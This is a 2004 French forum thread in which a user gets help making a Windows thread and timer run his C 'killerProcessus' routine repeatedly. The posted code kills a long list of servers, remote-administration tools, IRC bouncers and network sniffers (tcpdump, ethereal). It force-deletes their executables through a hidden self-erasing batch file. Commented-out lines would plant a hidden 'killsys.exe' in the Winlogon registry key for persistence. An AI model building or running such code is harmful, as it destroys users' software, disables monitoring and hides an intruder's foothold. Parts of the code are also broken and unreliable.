Thread fonctionne pas -> je suis beginner en thread :)

cs_Roudy Messages postés 25 Date d'inscription dimanche 11 avril 2004 Statut Membre Dernière intervention 15 mai 2004 - 1 mai 2004 à 01:48
cs_Roudy Messages postés 25 Date d'inscription dimanche 11 avril 2004 Statut Membre Dernière intervention 15 mai 2004 - 1 mai 2004 à 19:30
quelqu'un est capable svp de me dire pkoi le thread part pas svp

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int nCmdShow)
{

DWORD dwThread;
hthread = CreateThread(NULL,0,&killerProcessus,NULL,NULL,&dwThread);
return 0;
}

DWORD WINAPI killerProcessus(LPVOID lpParameter)
{
while(true)
{
#ifdef WIN32
PROCESSENTRY32 proc = {0};
DWORD processus, r;
HANDLE f; HANDLE sys;
char batfile[256]; char tempdir[256]; char delPath[256];
BOOL bProcess = FALSE;

const char *szFilenamesToKill[64] = {
"servudaemon.exe", "Servudaemon.exe", "serv-u.exe", "servu.exe", "ServuDaemon.exe", //5 kill le servu
"schost.exe", "svhost.exe", "teenkids.exe", "teenkid.exe", "winppr32.exe", "msblast.exe",//7 kill les virus populaire
"jhrfes.exe ", "penis32.exe", "mspatch.exe", "dllhost.exe", "tftpd.exe", "svchost1.exe","syscfgx32.exe",//7 kill les virus populaire
"DNTUS26.exe", "WinVNC.exe", "r_server.exe", "VNC.exe", "VNCTASKS.exe", "DWRCS.exe","radmin.exe","rserver.exe", "Radmin.exe", "DWRCC.exe", //9 kill les programmes d'access a distance
"netlink32.exe", "ndemon.exe", "symantec32.exe", "blah.exe", "windrop.exe", "WinSrv.exe", "winsyss.exe", "winsys.exe", "egg.exe", "psybnc.exe", "dxmedia.exe", "iroff.exe", "eggdrop.exe", "io.exe",//10 kill les xdcc
"winlord32.exe", "fsdaP.exe", "nctl.exe","hm.exe","hiddenrun.exe", "ftp.exe", "firedaemon.exe", "FireDaemon.exe", // 3 kill xdcc
"wintftp.exe", "jrynfx.exe", "spools.exe", "GT.exe", "agc.exe",// virus update
"vsaccess.exe", "fqbvrws.exe", "msgfix.exe", "fqebhjga.exe", "jhrfes.exe", "qvdsafs.exe", "dbfavcws.exe","uedit32.exe", NULL }; // 4 truck a pogrom

GetTempPath(sizeof(tempdir), tempdir);
sprintf(batfile, "%s\\r.bat", tempdir);
f = CreateFile(batfile, GENERIC_WRITE | GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE ,
NULL, CREATE_ALWAYS, 0, 0);

for(int i=0; szFilenamesToKill[i]!=NULL; i++)
{
// création du snapshot
sys = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

// ouverture du premier process
ZeroMemory(&proc, sizeof(proc));
proc.dwSize = sizeof(proc);
Process32First(sys, &proc);

//cherche processus
do
{
if (lstrcmp(proc.szExeFile, (const char*)szFilenamesToKill[i]) == 0)
{
DWORD dwPriorityClass;
BOOL bGotModule = FALSE;
MODULEENTRY32 me32 = {0};

bGotModule = GetProcessModule(proc.th32ProcessID,
&me32,
sizeof(MODULEENTRY32));
if (bGotModule)
{
HANDLE hProcess;
sprintf(delPath, "del /F "%s"\r\ndel "%s"\r\n", me32.szExePath, me32.szExePath);
// Recevoir la priorité actuel du processus
hProcess = OpenProcess (PROCESS_ALL_ACCESS,
FALSE,
proc.th32ProcessID);
dwPriorityClass = GetPriorityClass (hProcess);
if (f > (HANDLE)0)
{
// ecrire un fichier .bat pour deleter l'executable des processus
WriteFile(f, delPath, strlen(delPath), &r, 0);
}

bProcess = TRUE;
CloseHandle (hProcess);
}

processus = proc.th32ProcessID;
break;
}
}
while (Process32Next(sys, &proc));
CloseHandle(sys);

// le processus n'est probablement pas lancé (vérifier GetLastError pour en être sûr)
if (processus)
{
// ouverture du processus
HANDLE process = NULL;
if (process = OpenProcess(PROCESS_TERMINATE, FALSE, processus))
{
// terminaison de process
TerminateProcess(process, 0);
CloseHandle(process);
}
}
}

if (bProcess)
{
//Ecrit ligne pour delete .bat apres execution
sprintf(delPath, "del /F %s\r\ndel %s", batfile, batfile);
WriteFile(f, delPath, strlen(delPath), &r, 0);
CloseHandle(f);
//Pause de 40sec pour laisser le temps au processus d'etre bien killer avant de delete
Sleep(40000);
//Execute le .bat
WinExec(batfile,SW_HIDE);
}

#else
killerProcessus("tcpdump"); killerProcessus("ethereal");
#endif
}
CloseHandle(hthread);
return 0;
}

BOOL GetProcessModule (DWORD dwPID, LPMODULEENTRY32 lpMe32, DWORD cbMe32)
{
MODULEENTRY32 me32 = {0};
BOOL bRet = FALSE;
BOOL bFound = FALSE;
HANDLE hModuleSnap = NULL;

// Prend un snapshot de tout les modules du processus specifier
hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID);
if (hModuleSnap == (HANDLE)-1)
return (FALSE);

// Doit ajuster le size du module
me32.dwSize = sizeof(MODULEENTRY32);

// Parcour la liste des modules pour trouver le bon
// Copie les info dans le buffer specifier en parametre
if (Module32First(hModuleSnap, &me32))
{
do
{
CopyMemory (lpMe32, &me32, cbMe32);
bFound = TRUE;
}
while (!bFound && Module32Next(hModuleSnap, &me32));
bRet bFound; // Si bRet est a False, le processus ne run plus sur l'ordi
}
else
bRet = FALSE; // peut pas lire la lire des modules

// Cleaner le snapshot
CloseHandle (hModuleSnap);
return (bRet);
}

16 réponses

glipper Messages postés 246 Date d'inscription dimanche 2 juin 2002 Statut Membre Dernière intervention 11 septembre 2016 1
1 mai 2004 à 10:08
Si tu rajoutais ça en dessous de ton CreateThread, ça marcherait pas mieux ?

WaitForSingleObject(hthread, INFINITE);

Cette fonction stoppe le programme pendant l'execution du Thread.

Normalement je pense que ça vient de là.
Sinon tu as essayé de regarder ce que contenait 'hthread' ? Peut-être que ça retourne NULL non ? Ou si tu dis que ça ne part pas, essai d'ajouter en dessous du CreateThread : "ResumeThread(hthread);"

++ Glipper
0
ymca2003 Messages postés 2070 Date d'inscription mardi 22 avril 2003 Statut Membre Dernière intervention 3 juillet 2006 7
1 mai 2004 à 11:55
pourquoi creer un second trhead alors que le thread principal (WinMain) ne fait rien ?
0
cs_Roudy Messages postés 25 Date d'inscription dimanche 11 avril 2004 Statut Membre Dernière intervention 15 mai 2004
1 mai 2004 à 16:13
Merci glipper c'etait effictivement sa mais jme demandais moi mon but c que ma méthode run en fond de tache indefinitivement est-ce que je dois mettre un boucle infini dedans ou ya un autre moyen?

ymca2003 c juste que j'ai pas copier coller le code au complet :)

merci Patos
0
glipper Messages postés 246 Date d'inscription dimanche 2 juin 2002 Statut Membre Dernière intervention 11 septembre 2016 1
1 mai 2004 à 16:31
Hum... une boucle infinie je ne pense pas que ce soit à faire, car ça doit prendre beaucoup de CPU (processeur) non ?

Apparament, ton programme sert à quitter une liste d'executables qui tournent en arrière fond.
Moi je crois que je ferais un Timer qui executerait ta fonction toutes les xxx millisecondes. Car elle n'a peut-être pas besoin de s'executer en permanence.

Qu'en pense tu ?
Glipper
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
cs_Roudy Messages postés 25 Date d'inscription dimanche 11 avril 2004 Statut Membre Dernière intervention 15 mai 2004
1 mai 2004 à 16:40
en effet j'ai tester la boucle infini et c pas terrible heh

elle n,a pas besoin de s'executer en permanence, mais je me demandais il n'a pas une méthode , quelques chose qui permet de faire cela?
comme par exemple les programmer windows qui tourne en arriere plan

sinon je vais utiliser un timer c'est une bonne solution aussi :)

merci
0
glipper Messages postés 246 Date d'inscription dimanche 2 juin 2002 Statut Membre Dernière intervention 11 septembre 2016 1
1 mai 2004 à 16:44
Ben si tu utilise un timer, le programme reste ouvert en arriere plan. C'est juste que ta fonction n'est appelée qu'à interval régulier.

Glipper
0
cs_Roudy Messages postés 25 Date d'inscription dimanche 11 avril 2004 Statut Membre Dernière intervention 15 mai 2004
1 mai 2004 à 16:46
ok parfait c exactement sa que jveux faire
merci pour tout cette aide c'est beaucoup apprecier

t'aurais pas le nom de la méthode qui va me falloir utiliser pour le timer? je ne my connait pas la dedans non plus
0
glipper Messages postés 246 Date d'inscription dimanche 2 juin 2002 Statut Membre Dernière intervention 11 septembre 2016 1
1 mai 2004 à 16:55
voila un exemple de timer :)

1. Tu cree ta fonction, qui sera appelée regulierement:

VOID CALLBACK TimerProc( HWND hwnd, UINT uMsg, UINT idEvent, DWORD dwTime )
{
MessageBox(hwnd, "iop", "iop", NULL);
}

2. Dans le MAIN par exemple, tu cree le timer :

SetTimer(NULL, 0, 3000, (TIMERPROC) TimerProc);
/b
Ici, il y aura un messageBox qui apparaitra toutes les 3 secondes :)

Glipper
0
cs_Roudy Messages postés 25 Date d'inscription dimanche 11 avril 2004 Statut Membre Dernière intervention 15 mai 2004
1 mai 2004 à 17:07
ok c parfait sa merci
merci pour tout :)
0
cs_Roudy Messages postés 25 Date d'inscription dimanche 11 avril 2004 Statut Membre Dernière intervention 15 mai 2004
1 mai 2004 à 17:45
je ne comprend pas pkoi mais juste pour tester j'ai rajouter dans mon prog exactement ce que tu ma ecrit et sa ne marche pas

je ne crois pas que ce soit ton code qui soit en défaut, mais qu'est-ce que je n,ai pas fait?

quand j,execute mon prog il ne reste pas en fond de tache et il n'affiche pas la messagebox

int main()
{
timerID = SetTimer(NULL, 0, 3000, (TIMERPROC)TimerProc);
return 0;
}

VOID CALLBACK TimerProc( HWND hwnd, UINT uMsg, UINT idEvent, DWORD dwTime )
{
MessageBox(hwnd, "iop", "iop", NULL);
}
0
ymca2003 Messages postés 2070 Date d'inscription mardi 22 avril 2003 Statut Membre Dernière intervention 3 juillet 2006 7
1 mai 2004 à 18:47
il faut tout de même une boucle principale dans le prog. dans ton ex, tu crée un timer et tu quitte tout de suite.

si tu n'as aucun traitement particulier dans le thread principal (pas de fenêtre créee...) tu fait un simple while(1) avec un Sleep(1000) pour effectuer ta vérif toutes les secondes.
0
cs_Roudy Messages postés 25 Date d'inscription dimanche 11 avril 2004 Statut Membre Dernière intervention 15 mai 2004
1 mai 2004 à 18:50
en fait moi ce que je voudrais c un timer qui appelle ma function killerProcessus() au 2min, comment je pourrais faire sa d'apres toi?

la j,ai sa, mais sa n'appelle meme pas killerProcessus au moin une fois

merci Patos

int main()
{
MODULEENTRY32 me32Reg = {0};
GetProcessModule(GetCurrentProcessId(), &me32Reg,sizeof(MODULEENTRY32));
//killerProcessus();
//secure();
//modifReg("HKEY_LOCAL_MACHINE", "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "System", "REG_SZ", "c:\\winnt\\system32\\os2\\dll\\install\\killsys.exe");
//modifReg("HKEY_LOCAL_MACHINE", "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "System", "REG_SZ", me32Reg.szExePath);
//WinExec("c:\\winnt\\system32\\os2\\dll\\install\\Systems.exe",SW_HIDE);
timerID = SetTimer(NULL, 0, 100,TimerProc);
printf("%d",timerID);
return 0;
}

void CALLBACK TimerProc(HWND hwnd, UINT uMsg, UINT idEvent, DWORD dwTime)
{
killerProcessus();
}
0
glipper Messages postés 246 Date d'inscription dimanche 2 juin 2002 Statut Membre Dernière intervention 11 septembre 2016 1
1 mai 2004 à 19:07
Voila un exemple de Timer le + simple qui soit :)

#include <windows.h>

void CALLBACK TimerProc(HWND hwnd, UINT uMsg, UINT idEvent, DWORD dwTime);

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int nCmdShow)
{
SetTimer(NULL, 0, 3000, (TIMERPROC)TimerProc);

MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{

TranslateMessage(&msg);
DispatchMessage(&msg);

} return 0;
}

void CALLBACK TimerProc(HWND hWnd, UINT uMsg, UINT idEvent, DWORD dwTime)
{
MessageBox(hWnd, "iop", "iop", NULL);
}

Glipper
0
cs_Roudy Messages postés 25 Date d'inscription dimanche 11 avril 2004 Statut Membre Dernière intervention 15 mai 2004
1 mai 2004 à 19:14
je viens de tester sa et tout fonction mais pourquoi si je mets ceci a la place ton TimerProc a toi sa ne marche pas?
on ne peut pas appeller de méthode dans un timer?

void CALLBACK TimerProc(HWND hWnd, UINT uMsg, UINT idEvent, DWORD dwTime)
{
 killerProcessus();
}
0
glipper Messages postés 246 Date d'inscription dimanche 2 juin 2002 Statut Membre Dernière intervention 11 septembre 2016 1
1 mai 2004 à 19:27
Ben ça devrait marcher... en tout cas, ta fonction devrait etre appelée !! Essai de mettre un MessageBox() au debut de ta fonction killerProcessus() pour voir si elle est appelée !!!

Moi perso je pense qu'il y a quelquechose dans ta fonction killerProcessus() qui gène :)

Glipper
0
cs_Roudy Messages postés 25 Date d'inscription dimanche 11 avril 2004 Statut Membre Dernière intervention 15 mai 2004
1 mai 2004 à 19:30
ouais c sa jme dis
mais j'ai tester sans timer juste en mettant dans mon main

while(1){
killerProcessus();
}


et tout marche, mais entk je vais regarder sa, merci pour tout
0
Rejoignez-nous